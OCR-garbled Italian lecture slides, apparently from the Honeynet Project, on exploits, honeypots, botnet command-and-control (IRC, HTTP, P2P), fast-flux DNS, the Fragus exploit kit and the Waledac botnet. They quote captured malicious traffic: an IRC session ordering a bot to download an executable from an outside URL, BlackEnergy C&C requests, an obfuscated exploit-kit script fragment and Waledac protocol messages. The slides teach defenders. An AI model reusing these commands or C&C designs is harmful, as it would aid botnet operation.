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Vulnerabilita ed Exploit
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In principio era il bug...

- Si definisce bug un errore di programmazione effettuato
durante la stesura di un codice

* Con opportune tecniche di programmazione e testing &
possibile minimizzare la probabilita che un bug sia
presente in un codice ma il programmatore che non
commette errori non € ancora stato inventato

 Non tutti i bug sono fonte di problemi
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...poi il bug divenne vulnerabilita

* In determinate circostanze un bug puo avere effetti
catastrofici e portare alla totale sovversione di un
sistema

+ Si parla in questo caso di vulnerabilita per mettere in
evidenza le potenziali implicazioni di sicurezza del
bug stesso



E— N . . - H ONEYVYNET P RO JECT

Exploit

Si definisce exploit un attacco finalizzato a produrre
accesso ad un sistema e/o incrementi di privilegio

- Classificazione

Criterio spaziale
Exploit locale
Exploit remoto

Criterio funzionale
Exploit per configurazioni errate di servizio
Exploit per html/cgi insicuri
Exploit per “code injection”
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Schema di un exploit

ricettore
| socket |
' __101010111011001L..__
shellcode
[ env. var |
[ _argv]] |

[ file |
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Un esempio di vulnerabilita

Microsoft Corporation, "Microsoft Security Bulletin

MS08-067 — Critical"
http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx

Vulnerabilita nel codice di path canonicalization
presente nella DLL NetAPI32.dll di Microsoft Windows
(sfruttata dal worm Conficker)
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Un altro esempio di vulnerabilita

Microsoft Corporation, "Microsoft Security Bulletin
MS08-041 — Critical"

http://www.microsoft.com/technet/security/Bulletin/MS08-041.mspx

Vulnerabilita del controllo ActiveX Snapshot Viewer di
Microsoft Office (sfruttata da molti exploit kit per
attacchi client-side)
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Approfondimenti

“Exploiting Software” - Lezione tenuta all'Universita di Parma

http://buffer.antifork.org/speech/2010-unipr-exploitingsoftware.ppt
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Tecnologie Honeypot
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Honeypot

"An information system resource whose value lies in
unauthorized or illicit use of that resource”

(Mailing List Honeypot @ SecurityFocus)

L'idea e di disporre di un sistema predisposto in maniera
tale da essere violato per poter analizzare tecniche e
strategie di un attaccante
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Honeypot
Classificazione

Accuratezza dell'interazione:

* Honeypot ad alta interazione

* Honeypot a bassa interazione
Criterio funzionale:

- Server Honeypot

- Client Honeypot (0 Honeyclient)
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Un esempio di honeypot
Dionaea

Accuratezza dell'interazione:

* Honeypot a bassa interazione (emulazione delle
vulnerabilita, rilevazione degli exploit ed emulazione
dello shellcode)

Criterio funzionale:
- Server Honeypot
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Un altro esempio di honeypot
Thug

Accuratezza dell'interazione:

* Honeypot a bassa interazione (emulazione di un
browser, emulazione delle vulnerabilita, rilevazione
degli exploit ed emulazione dello shellcode)

Criterio funzionale:
* Honeyclient
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Un altro esempio di honeypot
Capture-HPC

Accuratezza dell'interazione:

* Honeypot ad alta interazione (sistema operativo
reale eseguito in una VM, browser reale, rilevazione
degli exploit a seguito di una reale compromissione
dell'host)

Criterio funzionale:
* Honeyclient
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Botnets
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Botnets at a glance

Negli ultimi anni si € osservata una notevole evoluzione
nelle tecniche di compromissione

A seguito dell'attacco sull’'nost compromesso viene
installato un programma definito bot

Il bot consente fornisce all'attaccante un meccanismo di
controllo remoto sull'host compromesso

Questa tecnica viene utilizzata per creare reti di host
compromessi (botnet) comandate da un'infrastruttura
Command and Control (C&C)
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IRC e 1 primi bot

Storicamente i primi bot furono utilizzati nelle reti IRC
(Internet Relay Chat, RFC2810)

Il protocollo IRC consente a differenti utenti di chattare
in tempo reale negli IRC channels

L'infrastruttura di IRC e centralizzata (un server
centrale a cui gli utenti si connettono)
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Un esempio di sessione IRC
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L'evoluzione del bot

| primi bot furono utilizzati per rendere disponibili
servizi aggiuntivi e automatizzare operazioni di
gestione

Successivamente si sono trasformati in programmi
maliziosi per realizzare le cosiddette IRC wars e i primi
attacchi DDoS documentati

Oggi quando si parla di bot si fa sempre riferimento a
programmi di natura malevola
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Caratterizzazione di un bot

Gli elementi che caratterizzano un bot sono:

* 1l meccanismo di controllo remoto
- I'implementazione dei comandi eseguibili
* 1l meccanismo di propagazione
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Meccanismi di controllo remoto
IRC

Molti bot utilizzano un meccanismo di controllo remoto
basato su IRC:

* un server |IRC sotto il controllo del botmaster che
funge da C&C Server

* i bot si collegano ad uno specifico IRC channel sul
server

* 1 bot interpretano i messaggi inviati sul channel come
comandi da eseguire
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Meccanismi di controllo remoto
IRC

...@"/.E" SE

Botne

& ernve il
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Meccanismi di controllo remoto
IRC

Vantaggi:
* Infrastruttura centralizzata
* Semplicita di gestione

Svantaggi:
* Infrastruttura centralizzata

* Semplice monitorare e/o distruggere il canale di
comunicazione
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Meccanismi di controllo remoto
IRC

$ nc 59.4. XXX. XXX 27397

->

->

->

<-

<-

<-

PASS sM1d$t

USER XP-8308 * 0 :ZOMBIE1

NICK [P00|GBR|83519]
:sv8.athost.net 001 [PO0|GBR|[83519] :
:sv8.athost.net 002 [PO0|GBR|[83519] :
:sv8.athost.net 003 [PO0|GBR|[83519] :
:sv8.athost.net 004 [PO0|GBR|83519] :
:sv8.athost.net 005 [PO0|GBR|[83519] :
:sv8.athost.net 422 [PO0|GBR|[83519] :

-> JOIN ##predb clos3d

:sv8.athost.net 332 [POO|GBR|83519] ##predb :

:sv8.athost.net 333 [PO0|GBR|83519] ##predb frost

:sv8.athost.net NOTICE [PO0|GBR|83519] :*** You were forced to join ##d

:sv8.athost.net 332 [PO0|GBR|83519] ##d :.get http//www.netau.dk/media/mkeys.knt C:\WINDOW S S\system32\tdmk.exe r h
:sv8.athost.net 333 [PO0|GBR|83519] ##d frost

(esempio tratto da “Virtual Honeypots”, Niels Provos and Thorsten Holz, Addison Wesley)
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Meccanismi di controllo remoto
HTTP

Alcuni bot utilizzano un meccanismo di controllo remoto
basato su HTTP:

 un Web Server sotto il controllo del botmaster che
funge da C&C Server

* | bot effettuano periodicamente richieste HTTP al
server

* | bot interpretano le risposte HTTP come comandi da
eseguire
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Esempio
BlackEnergy botnet

Richiesta HTTP

POST /dot/stat.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322)
Host: psamtek.cn

Content-Length: 31

Cache-Control: no-cache

id=xCR2_243AEDBA&build_id=D5729

(esempio tratto da “BlackEnergy DDos Bot Analysis”, Jose Nazario)
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Esempio
BlackEnergy botnet

Risposta HTTP

HTTP/1.1 200 OK

Date: Tue, 25 Sep 2007 08:30:13 GMT

Server: Apache/2.0.59 (Unix) FrontPage/5.0.2.2635 PHP/5.2.3 mod_ssl/2.0.59
OpenSSL/0.9.7e-p1X-Powered-By: PHP/5.2.3

Content-Length: 80

Connection: close

Content-Type: text/html

MTA7MjAwMDsxMDswOzA7MzA7MTAwOzM7M]A7TMTAwWMDsyMDAwI3dhaXQjMTAjeENS
MIByNDNBRURCQQ==

(esempio tratto da “BlackEnergy DDos Bot Analysis”, Jose Nazario)
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Esempio
BlackEnergy botnet

Risposta HTTP

HTTP/1.1 200 OK

Date: Tue, 25 Sep 2007 08:30:13 GMT

Server: Apache/2.0.59 (Unix) FrontPage/5.0.2.2635 PHP/5.2.3 mod_ssl/2.0.59
OpenSSL/0.9.7e-p1X-Powered-By: PHP/5.2.3

Content-Length: 80

Connection: close

Content-Type: text/html

MTA7MjAwMDsxMDswOzA7MzA7MTAwOzM7MjA7MTAwMDsyMDAwI3dhaXQjMTAjeE
NSMISyNDNBRURCQQ==

(esempio tratto da “BlackEnergy DDos Bot Analysis”, Jose Nazario)
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Esempio
BlackEnergy botnet

$ cat blackenergy.txt
MTA7MjAwWMDsxMDswOzA7MzA7MTAwOzM7MjA7MTAwWMDsyMDAwI3dh
aXQjMTAjeENSMI8ByNDNBRURCQQ==

$ base64 -d blackenergy.txt
10;2000;10;0;0;30;100;3;20;1000;2000#wait#10#xCR2_243AEDBA

Alcuni parametri:
XCR2_243AEDBA — client ID
#wait#10# — nessuna attivita da effettuare (nuova richiesta tra 10 minuti)
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Meccanismi di controllo remoto
HTTP

Vantaggi:
* |Infrastruttura centralizzata
* Semplicita di gestione

* Non ci sono sessioni TCP sospette permanentemente aperte
sull'host compromesso

Svantaggi:
* Infrastruttura centralizzata

* Scarsa flessibilita (il bot deve periodicamente controllare se ci
sono comandi da eseguire)

* Semplice monitorare e/o distruggere il canale di
comunicazione
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Meccanismi di controllo remoto
Covert channels

Bot basati su versioni modificate del
protocollo IRC

Bot basati su tunnel DNS
Utilizzo della steganografia
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Meccanismi di controllo remoto
Covert channels

Vantagqi:
* |nfrastruttura centralizzata

* Maggiore tempo necessario per l'analisi del
meccanismo di controllo remoto

Svantaggi:
* |Infrastruttura centralizzata

* Semplice monitorare e/o distruggere il canale di
comunicazione
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Meccanismi di controllo remoto
P2P

Alcuni bot utilizzano un meccanismo di controllo remoto
basato su protocolli P2P:

* Nessun host centrale funge da C&C Server (quindi
non ci sono single point of failure)

* Comandi e update distribuiti mediante protocolli P2P
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Meccanismi di controllo remoto
P2P

Vantaggi:
* Infrastruttura decentralizzata

* Maggiore tempo necessario per l'analisi del meccanismo di
controllo remoto

* Monitorare e/o distruggere il canale di comunicazione non &
affatto banale

Svantaggi:
* Nessuno?
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Comandi eseguibili da un bot

Tipicamente tra i comandi eseguibili da un bot compaiono
praticamente sempre comandi per:

 attacchi DDoS (SYN flood, ICMP flood, UDP flood,...)
* meccanismi di update

Altri comandi spesso presenti servono per effettuare:
* furto di credenziali
* Invio di spam
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Esempio di comandi eseguibili da un bot

$ nc 59.4 XXX. XXX 27397

->

->

->

PASS sM1d$t

USER XP-8308 * 0 :ZOMBIE1

NICK [PO0|GBR|83519]
:sv8.athost.net 001 [PO0|GBR|83519] :
:sv8.athost.net 002 [PO0|GBR|83519] :
:sv8.athost.net 003 [PO0|GBR|83519] :
:sv8.athost.net 004 [POO|GBR|83519] :
:sv8.athost.net 005 [PO0|GBR|83519] :
:sv8.athost.net 422 [PO0|GBR|83519] :

-> JOIN ##predb clos3d

<-

<-

<-

<-

<

:sv8.athost.net 332 [POO|GBR|83519] ##predb :
:sv8.athost.net 333 [PO0|GBR|83519] ##predb frost
:sv8.athost.net NOTICE [POO|GBR|83519] :*** You were forced to join ##d

:sv8.athost.net 332 [POO|GBR|83519] ##d :.get http//www.netau.dk/media/mkeys.knt C:\WINDOWS\system32\tdmk.exe r
h

:sv8.athost.net 333 [PO0|GBR|83519] ##d frost

(esempio tratto da “Virtual Honeypots”, Niels Provos and Thorsten Holz, Addison Wesley)
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Meccanismi di propagazione

Esistono diversi meccanismi utilizzabili da un worm per
propagarsi:

Scansione di reti alla ricerca di sistemi vulnerabili

Drive-by download attacks (spesso supportati da
campagne di spam)

Propagazione attraverso NetBIOS shares (utilizzando
password deboli)

Email attachments

Propagazione attraverso procotolli P2P (e sufficiente un
nome del file interessante per suscitare attenzione)
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Fast-Flux

Una tecnica basata sul protocollo DNS utilizzata nelle
botnet per nascondere e proteggere siti di malware e/o
phishing dietro una rete di host compromessi che
agiscono da proxy

L'idea € basata sull'expiring dei Resource Record DNS
In base al valore del TTL
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Fast-Flux

buffer@alnitak ~ $ dig toothou.com

; <<>> DiG 9.4.3-P5 <<>> toothou.com

;; global options: printcmd

;; Got answer:

;; >>HEADER<<- opcode: QUERY, status: NOERROR, id: 12924

;; flags: gr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:

;toothou.com. IN A

:: ANSWER SECTION:

toothou.com. 295 IN A 221.149.111.90
toothou.com. 295 IN A 75.82.211.20
toothou.com. 295 IN A 124.216.72.215
toothou.com. 295 IN A 109.184.7.176
toothou.com. 295 IN A 189.77.139.178

;; Query time: 4389 msec

;; SERVER: 10.20.28.16#53(10.20.28.16)
;; WHEN: Mon May 17 16:43:30 2010

;» MSG SIZE rcvd: 109
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Fast-Flux

buffer@alnitak ~ $ dig toothou.com

; <<>> DiG 9.4.3-P5 <<>> toothou.com

;; global options: printcmd

;; Got answer:

;; >>HEADER<<- opcode: QUERY, status: NOERROR, id: 12924

;; flags: gr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:

;toothou.com. IN A

:: ANSWER SECTION:

toothou.com. 295 IN A 221.149.111.90
toothou.com. 295 IN A 75.82.211.20
toothou.com. 295 IN A 124.216.72.215
toothou.com. 295 IN A 109.184.7.176
toothou.com. 295 IN A 189.77.139.178

;; Query time: 4389 msec

;; SERVER: 10.20.28.16#53(10.20.28.16)
;; WHEN: Mon May 17 16:43:30 2010

;» MSG SIZE rcvd: 109
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Fast-Flux

Nell'esempio i Resource Record DNS scadono dopo
dopo un TTL pari 295 secondi (meno di 5 minuti) con
conseguente invalidazione della cache del resolver

Tranne che in alcuni casi particolari, di solito il valore
utilizzato e dell'ordine di 1-3 giorni

Ma a cosa serve tutto questo?



E— N . . - H ONEYVYNET P RO JECT

Fast-Flux

Il server DNS contattato restituisce una lista di host
infetti attualmente raggiungibili

Questi host fungono da proxy verso la vera
destinazione che risulta essere quindi piu difficiimente
individuabile

Restituire N resource record con valore di TTL molto
basso € fondamentale per l'affidabilita del sistema
poiché gli host infetti si connettono e riconnettono
Spesso
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Fast-Flux

Normal Network

wiwow example . .com

L

1] Response content
Host: www. example.com =™
HTTP GET /
\ /=
client

Fast-Flux Network

2)
EET redirected

e & Responsea
returned
"mothership”™

zombie .
home flux. example_com
=C \

/ 3)

1) Response content
Host: flux.example.com

..—...:' _E
HTTP GET / r‘{

client

Web Request Comparison

(immagine tratta da “Know Your Enemy: Fast-Flux Service Networks”, The Honeynet Project)




— T HE HONEYNET PROJECT —

File  Edit  View
- ( -

Drive-by download attacks
Fragus Exploit Kit

History  Bookmarks Tools  Help

Most Visited ~  Gefting Started  Latest Headlines 3

METCRAFT  ~

4| “irKrebson S..

Done

Services  ~ No information available

il Researchl.. | [N Micholas Pi.

Conficker .

{ [} ( http:/r10.20.240.24/phoneyclab/fragusfadmin. php

Pydermonk... | @  Emvis

Authorization

Login:

¥y SEA Handi..

{1 phoneye - .

I
— |
Language

194.246.127.212

Download ..

¥4 finjan

A Tamarin Pr...

FoxyProxy: Disabled

sstgresal dump database@ ) [ AD J*

Postaresa... | | Fragus © |p +| =

S)

10.20.240.24

Tor Disabled



E— N . N - H ONEYNET PR OJECT

Drive-by download attacks
Fragus Exploit Kit

Fle Edt Wiew Hstory Bookmarks Iools Help

OB.lo

Most Visted = Gefting Started  Latest Headlines &

sstaresal dump databaseQ | [ AD )=

([} [ http://10.20.240.24/phoneyclab/fragus/admin.php?c=preferences Sy )=

_METCRAFT - Services - Noinformation available

1P\ SEA Handl {3} phoneyc - Download 4 Tamarin Pr 1 postgresa. | [ Fragus @ ) + =

[N nichotas Pi Conficker || Pydermonk @®

|_J Research

4w Krebsons

Statistics | Files | Sellers | Trafficlinks | Preferences | Logout

Admin panel:

Admin login Admin password (if you want to change)

Hosts: 0
Default admin panel languag! Time for ajax auto

Lo [

Percentage:

URLs for normal fuctioning (of the system):

Url to Fragus:

http:/1 0.20.240.24/phoneyclabifragus/

Redirectto url upon completion
hitp:/i10.20.240.24/phoneyclabifragusi?rinish

ctto url on double visit
0.20.240.24/phaoneyclabffragusi?doubleip

ult exploits
mdac

aultfile to load anlwinamp

-- Random file = ms09002

com

Save preferences

javascript document getElementByld( preferences’) submit(); Gr@ 194246127212 %A finjan | #° FoxyProxy Disabled () S) 10.20.240.24  Tor Disablecl



E— N . N - H ONEYNET PR OJECT

Drive-by download attacks
Fragus Exploit Kit

Fle Edt View Hstory Bookmarks Tools Help

OD IO

Most Visited =  Getting Started  Latest Headlines &

([} hitp://10.20.240.24/pheneyclab/fragus/admin. php?c=trafficlinks Elad ¢ sstaresql dump databaseQ | [ AD )=

ETCRAFT  ~ Services ~  No information availahle

m
4

T
Er Krebson .. | |y Researchll [N Hicholas i Conficker || Pydermonk ® Envis P8\ SEA Handli. | {2} phoneyc - Download A Tamarin Pr Fostoresa. | || Fragus € [ ) +| =

ann“s Statistics | Files | Sellers | Trafficlinks | Preferences | Logout

Show links for: Summary data |~

‘hnp 4i10.20.240.24/phoneyclablfragusishow.php

M Ajaxautoreload

Hosts: 0

Frags: 0 ‘=mame src="http:/i10.20 240 24/phoneyclablfragusishow php" width="1" height="1" style="display:none;"></iframe=

Percentage: 0

<script language="JavaScript'>var CRYPT= i
(signature:BXcfTYewQ'_keyStr ABCDEF GHWKLMNOPQRSTUVWXY Zahcdefahijkimnoparstuvwiyz0123456789+=" decode:function(
inpufy{var output="var chri,chr2 chrayar enci,enc2,enc3,encdvar i=0;inputzinput replace([*A-Za-z0-9\+\\=1/g, "), while (i<input. length)
{enc1=this._keyStrindexOf(input charAt(i++)),enc2=this _keyStrindexOfiinput.charAt(i++)),

enc3=this._keyStr.indexOf(input charAt(++)) encd=this._keyStrindexOf{input charAt(i++));chri=(enc <<2)|(enc2=>4),chr2=((enc2&
15)<<4)|(enc3>>2);chr3=((enc3&3)<<E)|encd;outpi il tring.fromCharCode(chri);if(enc3l=64)

{output=output+String framCharCode(chr2);}

if(encdl=64){output=output+String romCharCade(chra); i

output=CRYPT._utf8_decode(output)return output;},_utfd_decode:function{utftextyvar string=",var i=0var ¢=0,c1=0,c2=0,c3=0;
while(i=utftext. length){ c=utftext charCodeAt(i);if(c<128){ string+=String fromCharCode(c);i++ }else if({c=191)8&(c<224))

Fragus v1.0 Powered by Fragus

Done (r@ 194246127212 "4 finjan | & FoxyPioxy: Dissbled (&) S) 102024024  Tor Disabled



E— N . . - H ONEYVYNET P RO JECT

Waledac
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Waledac

La botnet Waledac e stata individuata per la prima
volta nel Dicembre 2008

E' stata bloccata nel Febbraio 2010 mediante
I'operazione denominata b49 coordinata da Microsoft e
che ha visto il supporto di Shadowserver, University of
Washington, Symantec, University of Mannheim,
Technical University of Vienna, International Secure
Systems Lab, University of Bonn e alcuni ricercatori
iIndipendenti
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Waledac
Meccanismi di propagazione

Il meccanismo di propagazione utilizzato era
principalmente basato su campagne di spam

| creatori della botnet hanno sfruttato gli eventi che
accadevano quotidianamente nel mondo per creare
campagne di spam molto mirate ed efficaci

La botnet e ritenuta responsabile dell'invio di circa 1.5
miliardi di email di spam utilizzate, oltre che per la
propagazione, principalmente per pubblicizzare
“prodotti farmaceutici” e casino online, vendere
software, mule recruitement
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Waledac Timeline
2009-02-17
- Still using the Valentines theme,
but is now using several pictures
2009-01-09 in rotation.
- Email spam changed tack to New Year 2008-03-16
- Still the same eCard website - Changed to "Bombing" theme
2009-02-23 - Websites leveraged GeolP for
- Changed to "Coupons” theme, more targeted and localized social
taking advantage of the current ~ @ngineering
2008-12-26 financial crisis 3 L
- Waledac first seen 2009-01-26 P i -
- eCard theme, In time for - Websites using Valentines ,/’ ,/
the Christmas season theme f, S
y 3
| | |l '
| I | |
2009-01-18
- Changed social engineering tack to N
“Obama refused to be a president” 2009-02-28
: - Websiles added GeolP component.
2008-02-10 - Still using the Coupons theme,

- Still using the Valentines theme,
but now has the additional text:
“Just in case you haven't noticed yet...”

2009-04-15
Engages users to spy on somebody
else's SMS messages.

but the websites now know from
what city you connected from.

Figure 2. Timeline of WALEDAC activities

(immagine tratta da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)
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Waledac and Barack Obama

B 1t is amazing! - Message (Plain Text) B What will be with our country? - Message (I ext’ ] [m] 4
Eile Edit ‘ew Ineert Fomat  Tools  Ackions Help Fila Edit Yew Insert Format  Tools  Actions  Help
§a REDlY Reply to Al | @ Forward | (5§ By | B4 | ¥ X @ % lPerly | g Reply to Al Forward | <) By |4 | 7 " A | @ %
From: fr B Sent: H W TR Frarm: HEE Sent; Bl W EEEET BT
B | B T
To: ! To:
o Cii
Subject; 1t is amazing! Subjec:  What will be wih aur country?
bbama refused to he next president d Barack Chamwa is not ready to be a president ﬂ
htep://ww, bamaonline. com/ http:/ page. hamaguide . con/
Tours truly, Yours J1lucerely,

= i

Figure 5. WALEDAC email carrying the news that Obama refuses to be the next U.S. president

(immagine tratta da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)
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Waledac and Barack Obama

Gl Localf Creafe Your BEIC Acoourd | o« Logn )

*I'M ASKING YOU TD BELIEVE

L LEARMN IS4 UES HEDiA ACTION PEOPLE STATES PFLEASE DOMATE

| BARACK B

T OBAMA

= Barack Obama has refused to be a president

josked feanany I8 JE&02: 58 PA

Baack Obama’s Inauguratien hat was planned on 54h Januay 2009 |s under e el of
Lallbme. Om ihe Eve of lnauguatisn Day Presideni-elect Barack Obama made statement. He
declared that he i definitoly WOT seady Bsi this pasitien. Analyuts say that Basck Obama has
pabusad ve be naxt presidont acauss he recagnired incemistancy of s plan of stimulating
USA economy... COMTINUE REAIMNG

= Presidant-Elect Obama on the Senats Vote to Release 2nd Half of the Financial . : =7 ’
Rescue Plan P * aoorato «f4 il

poted Jommasy 15 16:58:46 PA Sagria of Mo & ETaNGe: [hec Do Mg

Figure 6. WALEDAC rips text off from Obama’s website,
bearing false news that he no longer wants to be the president

(immagine tratta da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)
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Waledac Spamming Activity

Get nid of your troukles in bed! Jixp it com’ MMake vour meat hose the real dolling machine using only one Ittle

secret.
hitp:eco.nsedenjov.com’

Figure 1. Sample WALEDAC pharma spam

(immagine tratta da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)
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Waledac Spamming Activity

Homs Basteaners AR proOuels Fa Somact ug * s = e
- Povrred Tin U S =,

teps Viagra samples
& pilis ler mwery codes

1D gl Pt s 59040

Ernctam [, nfunoRnn
0 ldase Erharamns

L El e e

T bt G e SRt

o arh-Dompewn b et Lomal

- e —

L o T—F e
S @ D e : D

=
S TP T R——— LRy pp— PP ST -

Bazrd Prowd Boas 70T Bt ol r < R .
Bt Bt Sy SIE7

Figure 2. Canadian Pharmacy website

(immagine tratta da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)
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Nella tana del bianconiglio...

Mothership?

-<+—» Commands
Backend- : -4 - Fast-Flux Traffic
Server f *] <t-- Repeaterlists

\

Spammer

-
.-'"’ \1
: % Uninfected

Host

Spammers
non hanno indirizzo IP pubblico
utilizzati per le campagne di spam

Repeaters
hanno indirizzo IP pubblico

utilizzati come entry point dai bot che si
connettono alla botnet

contattati dagli spammers per
assegnazione di nuovi task

mediatori verso | Back-end server

agenti fast-flux

(immagine tratta da “Walowdac — Analysis of a Peer-to-Peer Botnet”, B. Stock, J. Gobel, M. Engelberth, F.C. Freiling, T. Holz)
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Nella tana del bianconiglio...

Backend-
Server

> /ﬁ’tﬁ’
-

3.) Send Spam
2.) Task?

7.) GET binary.exe
8 Waledac Binary

Y

(immagine tratta da “Walowdac — Analysis of a Peer-to-Peer Botnet”, B. Stock, J. Gobel, M. Engelberth, F.C. Freiling, T. Holz)
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Waledac HTTP2P Protocol

Il modello di comunicazione utilizzato &€ estremamente sofisticato

|| traffico di rete viene cifrato e inviato utilizzando un modello P2P
molto piu complicato di quello utilizzato da Storm

Algoritmi utilizzati:

AES-128 (cifratura messaggi tra nodi e dati nel system
registry)

XML (messaggi tra nodi)

Bzip2 (compressione messaggi tra nodi e dati nel system
registry)

Base64 (encoding messaggi HTTP)
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Waledac HTTP2P Protocol

Waledac Message Encryption and Encoding

Data type: Data type: ata type: Data type: Data type:
ASCI| text bina bina ASCII text ASCI text
| | |

Prepend message
: header (1* byte for
Create XML| | Compress di':;g;;g_‘:gg command type, next \ Replace ||
Start mesage T XML using % Bit AES Y-+ dword for original »| character ‘+' to End
oo encryption xml message length)| | - and /'to’_
and Encode in
Base64

Figure 8. General WALEDAC encryption and encoding routine

(immagine tratta da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)
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Start |»

Data type; Data type: Data type:
ASCII text bina bina

H ONEYVYNET

P RO JECT

Waledac Message Decoding and Decryption

Replace
character - o
‘t'and’ 'to
1}!

| Decode in

Basebd

Decrypt
data using

"128-Bit AES

encryption

Waledac HTTP2P Protocol

Data type: Uata type:
ASCII text ASCII text

Take out first 5

| bytes of data and

decompress
using BZip2

w

Original
XML
message

'

Figure 9. General steps in WALEDAC message decoding and decryption

(immagine tratta da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)
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Waledac HTTP2P Protocol

POST/oumgnpocgw.htm HTTE/1.1

Referer: Mo=zilla

Accept: */*

Content-Type: application/x-www-—form-urlencoded

User-Agent: Mozilla

Host: 12.135.152.45

Content-Length: 957

Cache-Control: no-cache

a= WAAATDL]19GTIghWZ HDFulaJeT7 jwCLHjGrHIDDxgoc /B3XocdFxTs6P2hibgEqlFoqnx-—ue2vijJ nlnvv3
YeJDEs9UPLt9deldCS38CHLPElg ZJFMI-—zTe-3GaZWkCkUCwsri3pT90F-y5 jwEFw THuA Ok Soxigm=hT08
glfxvoPYafAZOrSYrHGIN ThgueRbsfFxAFT 6 JBO60Y21 GgyETALT 8RN LL-ThOmEdSRAZ fGRoWlocEN=9
vUr5SVPU-giv7 £2 IFDkNdlnNukXz]l mGqvVel0HYSiZpAhY¥ TR1IgNh4 0bLSE3HLBrOFtHSHwo2Q3 iw2uNC-Rp—
COWmSiKQr Toghy ShURgbYdvFo9TFmL.524che ¥Yp VY YpmY=zJd6ea?EhZzrht-L2gchP L-sKEgJhV31l5

xCIUE MA445c0HEIn jvsSqyCOoQsYEfYAREGNG6shjacro9hAdviINMl =2JTd8a301if] FHOTxmTwCHe8EVDIE JJJ93
6bb4HDsXZ5800z xf SmDlnw-—COyohwrWoXX8-m3gT24 -—no0j2wzESKBRrskgWzNQuJIgB84TdbVe leMT7
H-1WW- CywguligMpHIMK jud fHChgHNF cwg VU 3AHvwWI TH1B-MOxvxm3 T 58Ei1 tkS91 KrCOoivsHADyAZPUGEK
XFEWVa¥6l-obwiswvRYMsDOC-54.T0h]1 z-BFpS5 jEgfmTwQCEGBmZmET] 6eN21 kEllvobi TEyprItwIqjEufD
gfemTsVEsmfRDtHk-RAjiTedNx jRSIfSrBXwSghGMzvyRETr2 tf fFCeGyRBAMKkDM=s 1 Noi Kgi zy joW3UoSwUDL
LNG6F4sT7SEk90c2n03FCMSm ShEHXG6sS3ranAThOYztFMy 9UAl pegY S rHfGaaBfCOKS s TSXmny 0 7T LeP - 6kX
IRBS0iTEAZZnQT mTO9kKY vWINR93nxg NL3c stcpI¥NgOwBsFIOwE&b=ARRAAAR

HTTE/1.1 200 OK

Server: nginx/0.6.34

Date: Thu, 19 Mar 2009 09:37:05 T

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

¥X-Powered-By: PHP/5.2.8

187 wAAARITZ1iVmaivlqgl6l5iKof Y Mim6dEEGCGNTwIkGEutnNCgmzgrBh33inYaTY¥IskVk—OadaTe3mplnt
ICHTkErs-—TTeARX] -MBi 6wvwvX-hI30xNAnaldk9%hsehgOz 6 HxmBVH2 6 SwaAFgCyMihjASc0AMOPhv=W0ISE1Ly4
BEY2zbVtf N6 Xy3Hzv I JelELtWTZuFGO90hYE] —j vwwLBpXAZIFIBvYYvNZFzDT7SY¥Y¥sb6lr650ds 8pPGgRWuPL
vwsd4ljHgnlvh lzsF1F20bBDTSDhIILIPEiz ZGpvEFQsieUwASRIvEFyYgsTEWIT2 6GELFChppi2PEYcAFX b
MO9Sgb6l ndgaAUhyggygbth jdIUjhu2P5zQTAdSYELGEXEs]l FfEMH-e30QFyoI0

POST /jint.htm HTTP/1.1

Referrer: Mozilla

BAccept: */f*

Content-Type: application/x-www-form-urlencoded

(immagine tratta da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)
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Waledac HTTP2P Protocol
Richiesta di una chiave AES-128

<lm>

<t>getkey</t>

<yd>34< /v>
<i>ab0a762d122d31252c¢0babl4a6124d23</i>
<r>0</>

<props>

<p n="cert">

MIIBvjCCASegAwIBAgIBADANBgkqhkiGIw0OBAQQFADAIMOswCQYDVQQGEWIVSzEWMBQGA1UEAXMNT 3B1b1N
TTCBHem91cDAeFwOwOTAZMTkwOTM2MzdaFw0xMDAZMTkwOTM2MzdaMCUxCzAJBgNVBAYTA1VLMRYwFAYDVQ
QDEw1PcGVuUlNMIEdyb3VwMIGEMAOGCSqGS Ib3DQERAQUAA4GNADCRiQKBgQDXQWv+5g40Gu0Es tTr /SBA2
CEznbC8DfwesFh63p/bfdxy/H8sbImMNelvT51Npo7S6NaPt9K8b5ht /T8 8NKS8TvHkZehSMwI JUcuWZ 6y M
zwFJOrttniJlxkeGiDdal/RZPLVXtNh4d1MO5x0a7Tz4ZsSElyUsWFLwuvXEPkxUIwIDAQABMAOGCSGGSIb
3DQEBBAUAA4GBAC/PIph0/UDUCPeCMcCVOPJuagljbUe3Am3n9ZaYey4Ay1R+4wiVep25nvOZxyW+TrVEBL
19 7MnmhQFhXLt10+90TACVEUdRk I 7VngRgXEyOb TM6P19GZz 908 YnvKdAUmmnXTPSh52CIzTEZzDY 9yBd53Yvy
YmtTHHGEbWwWCZrnIIPS

(immagine tratta da “Infiltrating WALEDAC Botnet's Covert Operations”, J. Baltazar, J. Costoya and R.Flores)
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Waledac HTTP2P Protocol
Chiave AES

<lm>

<y>34</v>

<t>getkey</t>

<props>

<p
n="key”>BarssaWhsnVRx7MhcPm3FxzhMy03sr0DnyMk/n6vPVEimMGY71Yk06x00Qpu7BbIZeCzPQ4ATjh
/FAGZBqUPVYHpxLDRG3j7CTLRju+y+gAmNF3dY8HG1CISIV1itKDWKBVZ 6 jhBKchVUOrKjZ20SE9P+£g+db
1Q5T3yiF/2z8g=

</p>

</props>

</1lm>

05aaecbladalb27551c7b32170£9b7171cel3323bTb2bd039£2324feTeat3d57e398¢cl98ee56243bact
